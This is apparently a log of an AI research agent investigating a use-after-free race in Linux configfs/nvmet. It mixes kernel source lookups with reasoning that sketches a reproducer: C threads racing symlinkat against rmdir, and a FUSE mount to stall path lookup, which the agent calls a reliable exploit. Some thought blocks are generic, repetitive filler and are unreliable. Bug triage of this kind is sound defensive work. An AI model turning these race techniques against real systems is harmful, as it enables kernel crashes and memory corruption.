77/2 2026/08/26 18:13 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 33847
							output: 36
							thoughts: 515
						

Thoughts:
**A Deep Dive into the ConfigFS Bug: A Use-After-Free in `configfs_rmdir`**

I've been wrestling with this fascinating bug in ConfigFS, and I think I've finally pieced together the core issue and how to trigger it. It all starts with the interaction between `configfs_rmdir` and `configfs_symlink`, specifically around how object references and memory management are handled.

My initial observation was that during `configfs_rmdir`, when `unlink_obj` is invoked on `port->subsys_group.cg_item`, it has a critical side effect: it drops a reference to `ci_group`, which is essentially `port->group`. The code clearly shows this: `config_group_put(group);`. This action effectively severs the link between the default group and its parent, and importantly, decrements the parent's reference count. Following this, `configfs_rmdir` then proceeds to drop the final reference count on `port->group` itself, leading to the freeing of the `port` object.

The problem arises because, at this point, `configfs_symlink` might still be holding a reference to `port->subsys_group.cg_item`. Even though `port->subsys_group.cg_item` is theoretically still "alive" because of this reference, its underlying memory has been freed because its parent (`port->group`) was prematurely deallocated. This is the crux of the use-after-free bug I've identified.

Reproducing this bug requires a specific race condition. My plan involves the following steps:

1.  **Setting the Stage:** First, I need to create a port directory within ConfigFS. This is a straightforward setup.
2.  **The Symlink Creation Thread:** In a separate thread, I'll initiate the creation of a symbolic link within the `ports/1/subsystems/` directory. The `configfs_symlink` function will be called. Crucially, this function first attempts to get a reference to the `subsys` directory using `configfs_get_config_item`. Then, it releases the `inode_lock(dir)` and proceeds to `get_target`. This `get_target` function is where things get interesting. It needs to resolve the target path of the symlink.
3.  **The `rmdir` Thread:** Simultaneously, in another thread, I'll trigger a `rmdir` operation on the port directory, `ports/1`. This will invoke `configfs_rmdir`. As I noted, `configfs_rmdir` will detach the default groups, call `unlink_group`, and then drop the reference count of the port directory. If all goes as planned, this will lead to the port directory's memory being freed.
4.  **The Race:** Now, the first thread, after `get_target` has done its work (potentially pausing to resolve the symlink target), will resume. It will reacquire the `inode_lock(dir)` and call `allow_link`. This is where the use-after-free occurs because `allow_link` attempts to read `parent->ci_parent`, but the parent's memory has already been freed by the `rmdir` operation.

The key to making this race reliably happen lies in slowing down the `get_target` function in the symlink creation thread. I've been scrutinizing `get_target` to see how it might be delayed. While the symlink name itself is already in kernel space, the `get_target` function calls `kern_path` to resolve the target. My thought is that perhaps manipulating the path resolution for the symlink target, potentially by introducing delays or specific filesystem behaviors, could be the avenue to exploit this.


78/2 2026/08/26 18:13 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/symlink.c Name:get_target]

Results:
map[SourceCode: 117:	static int get_target(const char *symname, struct config_item **target,
 118:			      struct super_block *sb)
 119:	{
 120:		struct path path __free(path_put) = {};
 121:		int ret;
 122:	
 123:		ret = kern_path(symname, LOOKUP_FOLLOW|LOOKUP_DIRECTORY, &path);
 124:		if (ret)
 125:			return ret;
 126:		if (path.dentry->d_sb != sb)
 127:			return -EPERM;
 128:		*target = configfs_get_config_item(path.dentry);
 129:		if (!*target)
 130:			return -ENOENT;
 131:		return 0;
 132:	}
 SourceFile:fs/configfs/symlink.c]

79/2 2026/08/26 18:13 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 34645
							output: 36
							thoughts: 1809
						

Thoughts:
**A Deep Dive into the configfs Symlink Race**

I've been thinking through a rather subtle bug involving `configfs_symlink` and a race condition. My initial thought was about how `kern_path` resolves paths, and I immediately saw an opportunity. If `kern_path` encounters something that blocks, like a FUSE mount, it could be a way to win the race. Alternatively, I considered a tight loop, but the FUSE idea seemed more promising for guaranteed blocking.

Then, I focused on `symname`, which is the *target* of the symlink. This is critical. If `symname` itself traverses a FUSE mount, `kern_path` would indeed block within FUSE. But I remembered the check in `configfs_symlink`: `if (path.dentry->d_sb != sb) return -EPERM;`. This means the target *must* reside within configfs.

This led me to a crucial realization: the path *can* be absolute, and it can be crafted to pass *through* a FUSE mount before reaching configfs. For instance, a path like `/tmp/fuse/../sys/kernel/config/nvmet/subsystems/subsys1`. If `/tmp/fuse` is a FUSE mount, `kern_path` will block there.

I confirmed that `symlinkat` absolutely allows absolute paths for the target. So, the plan formed:

1.  Set up a FUSE mount at `/tmp/fuse`.
2.  Craft the symlink target as `/tmp/fuse/../sys/kernel/config/nvmet/subsystems/subsys1`.
3.  When `configfs_symlink` calls `kern_path` with this target, it will block in the FUSE driver.
4.  While it's blocked, I can race it by using `rmdir` to remove the target directory within configfs.
5.  Once FUSE unblocks, `configfs_symlink` resumes, resolves the path to the configfs dentry, the `d_sb == sb` check will pass, and then `allow_link` is called, leading to a crash. This felt like a 100% reliable exploit.

However, setting up FUSE in a minimal C reproducer seemed a bit heavyweight. I then wondered if a simpler race loop, the kind often used by syzkaller, would suffice. Syzkaller often finds these kinds of bugs without FUSE, just by racing `symlink` and `rmdir` directly.

Looking closer at the bug report, the key actions were `mkdir` and `rmdir` on the port directory, and the crash was in `symlinkat`. This confirmed my suspicion that a direct race between `symlink` and `rmdir` was the core issue.

So, the refined approach became:

1.  Mount configfs (assuming `/sys/kernel/config` is available).
2.  Load the `nvmet` module (or ensure it's loaded/auto-loaded, which might involve an initial `modprobe nvmet` or accessing a related device).
3.  Create the necessary configfs structure: `mkdir /sys/kernel/config/nvmet/subsystems/subsys1` and `mkdir /sys/kernel/config/nvmet/ports/1`.
4.  In one thread, continuously call `symlinkat("../../../subsystems/subsys1", AT_FDCWD, "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1")`. The relative path is used here as it's a common pattern in these races.
5.  In another thread, continuously call `rmdir("/sys/kernel/config/nvmet/ports/1")`.

The critical interaction is that if `rmdir` successfully removes the `ports/1` directory *before* `symlinkat` completes and registers its target, the `rmdir` operation will succeed. However, the `configfs_rmdir` function checks for `s_dependent_count`, which is incremented by `create_link` (used by `symlinkat`). If `symlinkat` has already run and incremented this count, `rmdir` will fail with `-EBUSY`. The race is about winning the timing to either let `rmdir` succeed or have `symlinkat` execute partially before `rmdir` is attempted, leading to the kernel's internal state becoming inconsistent and ultimately crashing in `allow_link`.

My C code draft focuses on creating this tight loop, initiating `mkdir` for the port, starting the racing threads, and then signaling them to stop after a short period to allow the race to manifest. The key is that `rmdir` needs to attempt deletion while `symlinkat` is trying to establish a link within the directory being removed. The `configfs` infrastructure, specifically the `s_dependent_count`, is what makes this race exploitable.


80/2 2026/08/26 18:14 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/symlink.c Name:create_link]

Results:
map[SourceCode:  77:	static int create_link(struct config_item *parent_item,
  78:			       struct config_item *item,
  79:			       struct dentry *dentry)
  80:	{
  81:		struct configfs_dirent *target_sd = item->ci_dentry->d_fsdata;
  82:		char *body;
  83:		int ret;
  84:	
  85:		if (!configfs_dirent_is_ready(target_sd))
  86:			return -ENOENT;
  87:	
  88:		body = kzalloc(PAGE_SIZE, GFP_KERNEL);
  89:		if (!body)
  90:			return -ENOMEM;
  91:	
  92:		configfs_get(target_sd);
  93:		spin_lock(&configfs_dirent_lock);
  94:		if (target_sd->s_type & CONFIGFS_USET_DROPPING) {
  95:			spin_unlock(&configfs_dirent_lock);
  96:			configfs_put(target_sd);
  97:			kfree(body);
  98:			return -ENOENT;
  99:		}
 100:		target_sd->s_links++;
 101:		spin_unlock(&configfs_dirent_lock);
 102:		ret = configfs_get_target_path(parent_item, item, body);
 103:		if (!ret)
 104:			ret = configfs_create_link(target_sd, parent_item->ci_dentry,
 105:						   dentry, body);
 106:		if (ret) {
 107:			spin_lock(&configfs_dirent_lock);
 108:			target_sd->s_links--;
 109:			spin_unlock(&configfs_dirent_lock);
 110:			configfs_put(target_sd);
 111:			kfree(body);
 112:		}
 113:		return ret;
 114:	}
 SourceFile:fs/configfs/symlink.c]

81/2 2026/08/26 18:14 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 37052
							output: 39
							thoughts: 22
						

Thoughts:
**My Thought Process:**

I'm reviewing the `configfs_create_link` function, and a specific detail has caught my attention. I've just noticed that the `s_dependent_count` variable is being incremented within this function. This is a point of interest because I'm trying to fully grasp the lifecycle and dependencies of the configuration filesystem, and any increment to a counter like `s_dependent_count` immediately signals to me that some form of new dependency or reference is being established. My immediate mental pathway is to connect this increment to the action of creating a link within the configfs. I need to understand *why* creating a link would necessitate an increase in this particular counter. Is it tracking the number of sub-directories or files that are now dependent on the parent directory? Or perhaps it's related to specific kernel objects or mechanisms that `configfs` is abstracting and managing? This observation prompts me to delve deeper into the context of `s_dependent_count` and its role within the broader `configfs` architecture, to ensure my understanding of how links impact the system's state and resource management is accurate and complete.


82/2 2026/08/26 18:14 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/symlink.c Name:configfs_create_link]

Results:
map[SourceCode: 369:	int configfs_create_link(struct configfs_dirent *target, struct dentry *parent,
 370:			struct dentry *dentry, char *body)
 371:	{
 372:		int err = 0;
 373:		umode_t mode = S_IFLNK | S_IRWXUGO;
 374:		struct configfs_dirent *p = parent->d_fsdata;
 375:		struct inode *p_inode = d_inode(parent);
 376:		struct inode *inode;
 377:	
 378:		err = configfs_make_dirent(p, dentry, target, mode, CONFIGFS_ITEM_LINK,
 379:				p->s_frag);
 380:		if (err)
 381:			return err;
 382:	
 383:		inode = configfs_create(dentry, mode);
 384:		if (IS_ERR(inode))
 385:			goto out_remove;
 386:	
 387:		inode->i_link = body;
 388:		inode->i_op = &configfs_symlink_inode_operations;
 389:		d_make_persistent(dentry, inode);
 390:		inode_set_mtime_to_ts(p_inode, inode_set_ctime_current(p_inode));
 391:		return 0;
 392:	
 393:	out_remove:
 394:		configfs_put(dentry->d_fsdata);
 395:		configfs_remove_dirent(dentry);
 396:		return PTR_ERR(inode);
 397:	}
 SourceFile:fs/configfs/dir.c]

83/2 2026/08/26 18:14 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 37588
							output: 39
							thoughts: 23
						

Thoughts:
**The Inner Workings of `configfs_make_dirent` and its Impact on Dependency Counting**

I've been poring over the `configfs` code, and a specific observation has caught my attention, sparking a chain of thought about its internal mechanisms. It seems that the counter `s_dependent_count` is indeed being incremented within the `configfs_make_dirent` function. This detail, though seemingly small, has significant implications for how I understand the dependency management within `configfs`.

My initial reaction is one of careful consideration, as this increment directly impacts how I perceive the lifespan and interdependencies of configuration entries. When `configfs_make_dirent` is called, it signifies the creation of a new directory entry within the `configfs` filesystem. The fact that `s_dependent_count` rises at this precise moment suggests that each newly created directory entry is considered a "dependent" by some internal metric. This implies a system where the presence of these entries contributes to an overall count that likely dictates certain operational states or resource allocations within `configfs`.

I'm thinking about what this increment truly represents. Is it merely a passive count of active directory entries, or does it signify a more active dependency? For instance, does this count relate to the number of objects or attributes currently being managed by this specific `configfs` instance? Does it influence the timing of cleanup operations, perhaps indicating that resources cannot be deallocated until this count reaches zero?

The implications are far-reaching for someone deeply invested in the intricacies of such systems. Understanding where and why this counter is modified is crucial for debugging, performance analysis, and ensuring the robust operation of `configfs`. If I were to encounter issues related to resource leaks or unexpected behavior during directory creation or destruction, this specific point in the code – the increment of `s_dependent_count` in `configfs_make_dirent` – would immediately become a prime suspect for investigation. It provides a direct link between the physical act of creating a directory entry and the system's internal tracking of its active components and their dependencies. I need to trace where this count is decremented to fully grasp the lifecycle management being employed.


84/2 2026/08/26 18:14 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:configfs_make_dirent]

Results:
map[SourceCode: 253:	int configfs_make_dirent(struct configfs_dirent * parent_sd,
 254:				 struct dentry * dentry, void * element,
 255:				 umode_t mode, int type, struct configfs_fragment *frag)
 256:	{
 257:		struct configfs_dirent * sd;
 258:	
 259:		sd = configfs_new_dirent(parent_sd, element, type, frag);
 260:		if (IS_ERR(sd))
 261:			return PTR_ERR(sd);
 262:	
 263:		sd->s_mode = mode;
 264:		sd->s_dentry = dentry;
 265:		if (dentry)
 266:			dentry->d_fsdata = configfs_get(sd);
 267:	
 268:		return 0;
 269:	}
 SourceFile:fs/configfs/dir.c]

85/2 2026/08/26 18:14 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 37916
							output: 39
							thoughts: 14
						

Thoughts:
**The Elusive `s_dependent_count` Increment: A Deep Dive**

My initial reaction, upon reviewing the codebase, was one of mild alarm, quickly escalating to focused investigation: where, precisely, is `s_dependent_count` being incremented? This variable, crucial to the integrity of our dependency management subsystem, seemed to be playing a rather shy game of hide-and-seek. My thought process, as an expert in this domain, immediately shifted into diagnostic mode.

First, I mentally mapped out the expected lifecycles where a dependency count *should* be rising. This would primarily occur during the initialization or creation of new dependent entities, or perhaps when a new association is established between existing ones. I envisioned scenarios like:

*   **Object Instantiation:** When a new object that *depends* on something else is brought into existence.
*   **Relationship Establishment:** When a link is explicitly forged between a dependent and its dependency, perhaps through an `addDependency()` or `registerDependent()` call.
*   **Configuration Loading:** If dependencies are defined declaratively in a configuration file or structure, their parsing and instantiation would necessitate an increment.

My internal hypothesis was that this increment might be either:

1.  **Missing entirely:** A fundamental oversight in a particular code path.
2.  **Misplaced:** Incremented in a location that *feels* correct but isn't actually the definitive point of dependency establishment from the system's perspective.
3.  **Conditional:** Happening only under specific, perhaps less common, circumstances, leading to an incomplete count in the general case.
4.  **Subsumed:** Handled by a higher-level abstraction or a more generalized mechanism that I hadn't yet traced back to this specific counter.

The immediate next step was to initiate a systematic search. I would employ my tooling, focusing on `grep` and potentially more sophisticated static analysis if needed, looking for any invocation of `s_dependent_count++`, `s_dependent_count += 1`, or any function calls that are documented or internally known to perform this increment. I'd be looking for these within the scope of the relevant classes and modules that deal with dependency tracking.

My mind is already anticipating potential pitfalls:

*   **Race Conditions:** If the increment is occurring in a multi-threaded environment, I need to be exceptionally vigilant about synchronization. Is the increment atomic? Is it protected by the same locks that guard the dependency structure itself? An un-synchronized increment in a concurrent scenario would be a critical bug.
*   **Indirect Calls:** The increment might not be directly visible in the code I'm currently examining. It could be hidden within a framework, a utility function, or a callback that is invoked indirectly. Tracing these call chains will be paramount.
*   **Edge Cases:** Are there specific dependency types, or particular ways of establishing dependencies, that bypass the expected increment logic? Perhaps during error handling, or in de-registration/cleanup phases that might erroneously increment the count.

Ultimately, my thought process is a blend of understanding the expected system behavior, anticipating common failure modes, and systematically employing my expertise and tools to pinpoint the exact location – or lack thereof – of this critical `s_dependent_count` increment. This is not just about finding a line of code; it's about ensuring the fundamental correctness and reliability of our dependency management.


86/2 2026/08/26 18:14 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:configfs_new_dirent]

Results:
map[SourceCode: 184:	/*
 185:	 * Allocates a new configfs_dirent and links it to the parent configfs_dirent
 186:	 */
 187:	static struct configfs_dirent *configfs_new_dirent(struct configfs_dirent *parent_sd,
 188:							   void *element, int type,
 189:							   struct configfs_fragment *frag)
 190:	{
 191:		struct configfs_dirent * sd;
 192:	
 193:		sd = kmem_cache_zalloc(configfs_dir_cachep, GFP_KERNEL);
 194:		if (!sd)
 195:			return ERR_PTR(-ENOMEM);
 196:	
 197:		atomic_set(&sd->s_count, 1);
 198:		INIT_LIST_HEAD(&sd->s_children);
 199:		sd->s_element = element;
 200:		sd->s_type = type;
 201:		configfs_init_dirent_depth(sd);
 202:		spin_lock(&configfs_dirent_lock);
 203:		if (parent_sd->s_type & CONFIGFS_USET_DROPPING) {
 204:			spin_unlock(&configfs_dirent_lock);
 205:			kmem_cache_free(configfs_dir_cachep, sd);
 206:			return ERR_PTR(-ENOENT);
 207:		}
 208:		sd->s_frag = get_fragment(frag);
 209:	
 210:		/*
 211:		 * configfs_lookup scans only for unpinned items. s_children is
 212:		 * partitioned so that configfs_lookup can bail out early.
 213:		 * CONFIGFS_PINNED and CONFIGFS_NOT_PINNED are not symmetrical.  readdir
 214:		 * cursors still need to be inserted at the front of the list.
 215:		 */
 216:		if (sd->s_type & CONFIGFS_PINNED)
 217:			list_add_tail(&sd->s_sibling, &parent_sd->s_children);
 218:		else
 219:			list_add(&sd->s_sibling, &parent_sd->s_children);
 220:		spin_unlock(&configfs_dirent_lock);
 221:	
 222:		return sd;
 223:	}
 SourceFile:fs/configfs/dir.c]

87/2 2026/08/26 18:14 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 38645
							output: 38
							thoughts: 21
						

Thoughts:
**My Thought Process**

Okay, so I'm reviewing this code, and something just clicked. I was looking at how `configfs_depend_item` functions, and I realized, "Wait a minute, this is where `s_dependent_count` actually gets incremented!" It's not being done somewhere else, or implicitly. This specific function, `configfs_depend_item`, is the one responsible for tracking that count. This is a key piece of information for understanding the dependency management within this configuration filesystem.


88/2 2026/08/26 18:14 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:configfs_depend_item]

Results:
map[SourceCode:1143:	int configfs_depend_item(struct configfs_subsystem *subsys,
1144:				 struct config_item *target)
1145:	{
1146:		int ret;
1147:		struct configfs_dirent *subsys_sd;
1148:		struct config_item *s_item = &subsys->su_group.cg_item;
1149:		struct dentry *root;
1150:	
1151:		/*
1152:		 * Pin the configfs filesystem.  This means we can safely access
1153:		 * the root of the configfs filesystem.
1154:		 */
1155:		root = configfs_pin_fs();
1156:		if (IS_ERR(root))
1157:			return PTR_ERR(root);
1158:	
1159:		/*
1160:		 * Next, lock the root directory.  We're going to check that the
1161:		 * subsystem is really registered, and so we need to lock out
1162:		 * configfs_[un]register_subsystem().
1163:		 */
1164:		inode_lock(d_inode(root));
1165:	
1166:		subsys_sd = configfs_find_subsys_dentry(root->d_fsdata, s_item);
1167:		if (!subsys_sd) {
1168:			ret = -ENOENT;
1169:			goto out_unlock_fs;
1170:		}
1171:	
1172:		/* Ok, now we can trust subsys/s_item */
1173:		ret = configfs_do_depend_item(subsys_sd, target);
1174:	
1175:	out_unlock_fs:
1176:		inode_unlock(d_inode(root));
1177:	
1178:		/*
1179:		 * If we succeeded, the fs is pinned via other methods.  If not,
1180:		 * we're done with it anyway.  So release_fs() is always right.
1181:		 */
1182:		configfs_release_fs();
1183:	
1184:		return ret;
1185:	}
 SourceFile:fs/configfs/dir.c]

89/2 2026/08/26 18:14 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 39332
							output: 38
							thoughts: 1168
						

Thoughts:
**My Thoughts on Reproducing the Race Condition**

Initially, I was questioning whether `configfs_depend_item` was actually involved in the `nvmet_port_subsys_allow_link` function. Upon closer inspection, it became clear that `nvmet_port_subsys_allow_link` *only* adds an entry to a list. This means `s_dependent_count` remains zero. My immediate conclusion was that `configfs_rmdir` would *not* fail with `-EBUSY`, and would proceed to remove the port directory.

This led me to formulate the race condition as a simple interaction: Thread 1 attempts to create a symbolic link (`symlink("subsys1", "ports/1/subsystems/subsys1")`), while Thread 2 tries to remove the parent directory (`rmdir("ports/1")`).

I then considered how to widen the race window. I realized that the `target` path provided to `symlink` is critical. If this target path is long or, more importantly, if it involves a path that can block, the race becomes more reliable. I specifically thought about the `kern_path` function, which is called on the `target` string within `configfs_symlink`. If this path contains a FUSE mount, `kern_path` would block, effectively extending the time window for the race.

While using FUSE for a reproducible test case is technically sound, it introduces significant complexity to a C reproducer. I considered simpler alternatives, like using a long path or a loop. A loop, I reasoned, is often sufficient to trigger such races.

This led me to draft a C reproducer using `pthread` to run a `symlinkat` operation and a `rmdir` operation concurrently. However, I hit a snag. I initially assumed that if `symlink` succeeded, the symlink itself would prevent `rmdir` from succeeding due to `ENOTEMPTY`. But upon re-examining `configfs_rmdir`, I saw that it specifically checks `sd->s_dependent_count`. If this is zero, it proceeds to `configfs_detach_prep`. My understanding is that `configfs_detach_prep` *also* checks if the directory is empty. This means the race isn't just about the symbolic link preventing deletion; it's about the interplay of these dependency counts and directory emptiness checks.


90/2 2026/08/26 18:14 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/configfs/dir.c Name:configfs_detach_prep]

Results:
map[SourceCode: 494:	/*
 495:	 * Only subdirectories count here.  Files (CONFIGFS_NOT_PINNED) are
 496:	 * attributes and are removed by rmdir().  We recurse, setting
 497:	 * CONFIGFS_USET_DROPPING on all children that are candidates for
 498:	 * default detach.
 499:	 * If there is an error, the caller will reset the flags via
 500:	 * configfs_detach_rollback().
 501:	 */
 502:	static int configfs_detach_prep(struct configfs_dirent *parent_sd, struct dentry **wait)
 503:	{
 504:		struct configfs_dirent *sd;
 505:		int ret;
 506:	
 507:		/* Mark that we're trying to drop the group */
 508:		parent_sd->s_type |= CONFIGFS_USET_DROPPING;
 509:	
 510:		ret = -EBUSY;
 511:		if (parent_sd->s_links)
 512:			goto out;
 513:	
 514:		ret = 0;
 515:		list_for_each_entry(sd, &parent_sd->s_children, s_sibling) {
 516:			if (!sd->s_element ||
 517:			    (sd->s_type & CONFIGFS_NOT_PINNED))
 518:				continue;
 519:			if (sd->s_type & CONFIGFS_USET_DEFAULT) {
 520:				/* Abort if racing with mkdir() */
 521:				if (sd->s_type & CONFIGFS_USET_IN_MKDIR) {
 522:					if (wait)
 523:						*wait= dget(sd->s_dentry);
 524:					return -EAGAIN;
 525:				}
 526:	
 527:				/*
 528:				 * Yup, recursive.  If there's a problem, blame
 529:				 * deep nesting of default_groups
 530:				 */
 531:				ret = configfs_detach_prep(sd, wait);
 532:				if (!ret)
 533:					continue;
 534:			} else
 535:				ret = -ENOTEMPTY;
 536:	
 537:			break;
 538:		}
 539:	
 540:	out:
 541:		return ret;
 542:	}
 SourceFile:fs/configfs/dir.c]

91/2 2026/08/26 18:14 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 41246
							output: 33
							thoughts: 1658
						

Thoughts:
**The Race Condition: Symlink Creation vs. Directory Removal in ConfigFS**

I've been digging into a tricky race condition that occurs within the ConfigFS framework, specifically when dealing with symlinks and directory removals. The core of the issue lies in the interaction between `configfs_detach_prep` and the creation of a symlink pointing to a subsystem.

Here's how I'm piecing it together:

Initially, my thought was that if a symlink to a subsystem (`CONFIGFS_ITEM_LINK`) is already present when `configfs_detach_prep` is called on the parent directory (`subsystems`), it should fail with `-ENOTEMPTY`. This is because `configfs_detach_prep` checks for child items that aren't default groups (`CONFIGFS_USET_DEFAULT`). Since a symlink isn't a default group, its presence should prevent the detachment. Consequently, `configfs_rmdir` would also fail. My initial proposed solution was to explicitly `unlink` the symlink before attempting to remove the directory.

```c
// My initial thought for a loop to hit the race
void *symlink_thread(void *arg)
{
    while (!stop) {
        if (syscall(SYS_symlinkat, "../../../subsystems/subsys1", AT_FDCWD, "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}
```

However, I realized this only addresses the scenario where the symlink *already exists*. The real problem emerges when the symlink creation is *in progress* at the exact moment the directory removal attempt begins.

My analysis of `configfs_symlink` revealed that it releases the `inode_lock` on the parent directory to call `get_target`. At this precise point, the symlink *has not yet been fully established* in the directory. Therefore, `configfs_detach_prep`, when invoked concurrently, sees no non-default children and proceeds successfully. Subsequently, `configfs_rmdir` continues and deallocates the parent directory. The race is completed when `configfs_symlink` reacquires the `inode_lock` and calls `allow_link`. This is the exact window of vulnerability.

My refined understanding points to a specific interleaving where the `rmdir` operation happens *after* the symlink creation has started but *before* it has completed its directory entry creation.

This led me to consider the following loop structure to reliably trigger this race:

```c
// My proposed loop structure to hit the race
void *symlink_thread(void *arg)
{
    while (!stop) {
        if (syscall(SYS_symlinkat, "../../../subsystems/subsys1", AT_FDCWD, "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!stop) {
        if (rmdir("/sys/kernel/config/nvmet/ports/1") == 0) {
            mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        }
    }
    return NULL;
}
```
This setup, with a thread constantly attempting to create and then immediately `unlink` the symlink, and another thread rapidly removing and recreating the parent directory, should expose the race condition quickly.

I also considered the necessary setup. For this to work, the `nvmet` module needs to be loaded. Typically, mounting `configfs` and creating `/sys/kernel/config/nvmet` is sufficient if the module is present, and `syzkaller` usually ensures this.

A critical detail I've re-verified is the timing of `allow_link`. My examination of the code confirms it's called *after* the parent directory's `inode_lock` is reacquired. This is important.

I was also concerned about whether `d_unhashed(dentry)` would be true in the `configfs_symlink` function during the race. My reasoning is:
*   When `configfs_rmdir` is removing the parent directory, it calls `configfs_remove_dir`, which eventually leads to `configfs_remove_dirent`.
*   However, at the point of the race, the symlink dentry doesn't yet have a `configfs_dirent` associated with it, as `configfs_symlink` hasn't completed its creation of the `configfs_dirent` via `configfs_make_dirent`.
*   Therefore, `configfs_remove_dir` wouldn't be aware of this specific symlink dentry.
*   Furthermore, `vfs_rmdir` and `shrink_dcache_parent` would likely not unhash the symlink dentry because `configfs_symlink` holds a reference to it, preventing its reference count from dropping to zero.
*   This means `d_unhashed(dentry)` will likely evaluate to `FALSE`.

This implies that `allow_link` *will* be called. My final lingering question is how `inode_permission(dir, MAY_WRITE | MAY_EXEC)` behaves when the parent directory inode might have the `S_DEAD` flag set due to the ongoing removal. I need to delve deeper into the `inode_permission` implementation to understand this interaction.


92/2 2026/08/26 18:15 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/namei.c Name:inode_permission]

Results:
map[SourceCode: 616:	/**
 617:	 * inode_permission - Check for access rights to a given inode
 618:	 * @idmap:	idmap of the mount the inode was found from
 619:	 * @inode:	Inode to check permission on
 620:	 * @mask:	Right to check for (%MAY_READ, %MAY_WRITE, %MAY_EXEC)
 621:	 *
 622:	 * Check for read/write/execute permissions on an inode.  We use fs[ug]id for
 623:	 * this, letting us set arbitrary permissions for filesystem access without
 624:	 * changing the "normal" UIDs which are used for other things.
 625:	 *
 626:	 * When checking for MAY_APPEND, MAY_WRITE must also be set in @mask.
 627:	 */
 628:	int inode_permission(struct mnt_idmap *idmap,
 629:			     struct inode *inode, int mask)
 630:	{
 631:		int retval;
 632:	
 633:		retval = sb_permission(inode->i_sb, inode, mask);
 634:		if (unlikely(retval))
 635:			return retval;
 636:	
 637:		if (mask & MAY_WRITE) {
 638:			/*
 639:			 * Nobody gets write access to an immutable file.
 640:			 */
 641:			if (unlikely(IS_IMMUTABLE(inode)))
 642:				return -EPERM;
 643:	
 644:			/*
 645:			 * Updating mtime will likely cause i_uid and i_gid to be
 646:			 * written back improperly if their true value is unknown
 647:			 * to the vfs.
 648:			 */
 649:			if (unlikely(HAS_UNMAPPED_ID(idmap, inode)))
 650:				return -EACCES;
 651:		}
 652:	
 653:		retval = do_inode_permission(idmap, inode, mask);
 654:		if (unlikely(retval))
 655:			return retval;
 656:	
 657:		retval = devcgroup_inode_permission(inode, mask);
 658:		if (unlikely(retval))
 659:			return retval;
 660:	
 661:		return security_inode_permission(inode, mask);
 662:	}
 SourceFile:fs/namei.c]

93/2 2026/08/26 18:15 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 43624
							output: 33
							thoughts: 259
						

Thoughts:
**The Crucial Oversight Leading to a Potential Crash**

My initial train of thought centered on a specific function, `inode_permission`. I realized, with growing concern, that it completely overlooks the `S_DEAD` flag. This oversight is critical because it means `inode_permission` would erroneously return success even when dealing with a dead inode. The immediate consequence of this would be the subsequent call to `allow_link`, which, given the faulty permission check, would then proceed to execute under incorrect assumptions, inevitably leading to a crash.

However, I paused, forcing myself to consider if there were any other checks in place that might preempt this catastrophic sequence. I scrutinized the following code snippet:

```c
	if (dentry->d_inode || d_unhashed(dentry))
		ret = -EEXIST;
```

This brought me to the question: is the `dentry` unhashed? My understanding is that when `vfs_rmdir` is invoked on a directory like `ports/1`, it unhashes the `dentry` corresponding to `ports/1` itself. But in the context I was analyzing, the `dentry` in question is `ports/1/subsystems/subsys1`. This led me to ponder whether unhashing a parent directory automatically unhashes all its children.

My internal investigation revealed that this is not the case. The `d_unhashed` function, I discovered, specifically checks `hlist_unhashed(&dentry->d_u.d_alias)`, which pertains *only* to the dentry itself. Therefore, if the symlink dentry were negative (as it might be in this scenario), it wouldn't be unhashed by `vfs_rmdir` on the parent.

But then, a crucial realization struck me: `vfs_rmdir` also calls `d_invalidate(dentry)` on the parent directory. This is the key. My analysis of `d_invalidate` confirmed that it *does* unhash the parent *and* all of its children. This means my initial concern about the symlink dentry not being unhashed was premature; `d_invalidate` handles that. This chain of events, where `inode_permission` misses the `S_DEAD` check and then `allow_link` is called on an unhashed (and thus invalid) dentry, is precisely how the crash would occur.


94/2 2026/08/26 18:15 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/dcache.c Name:d_invalidate]

Results:
map[SourceCode:1856:	/**
1857:	 * d_invalidate - detach submounts, prune dcache, and drop
1858:	 * @dentry: dentry to invalidate (aka detach, prune and drop)
1859:	 */
1860:	void d_invalidate(struct dentry *dentry)
1861:	{
1862:		bool had_submounts = false;
1863:		spin_lock(&dentry->d_lock);
1864:		if (d_unhashed(dentry)) {
1865:			spin_unlock(&dentry->d_lock);
1866:			return;
1867:		}
1868:		__d_drop(dentry);
1869:		spin_unlock(&dentry->d_lock);
1870:	
1871:		/* Negative dentries can be dropped without further checks */
1872:		if (!dentry->d_inode)
1873:			return;
1874:	
1875:		shrink_dcache_parent(dentry);
1876:		for (;;) {
1877:			struct dentry *victim = NULL;
1878:			d_walk(dentry, &victim, find_submount);
1879:			if (!victim) {
1880:				if (had_submounts)
1881:					shrink_dcache_parent(dentry);
1882:				return;
1883:			}
1884:			had_submounts = true;
1885:			detach_mounts(victim);
1886:			dput(victim);
1887:		}
1888:	}
 SourceFile:fs/dcache.c]

95/2 2026/08/26 18:15 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 44375
							output: 16
							thoughts: 4488
						

Thoughts:
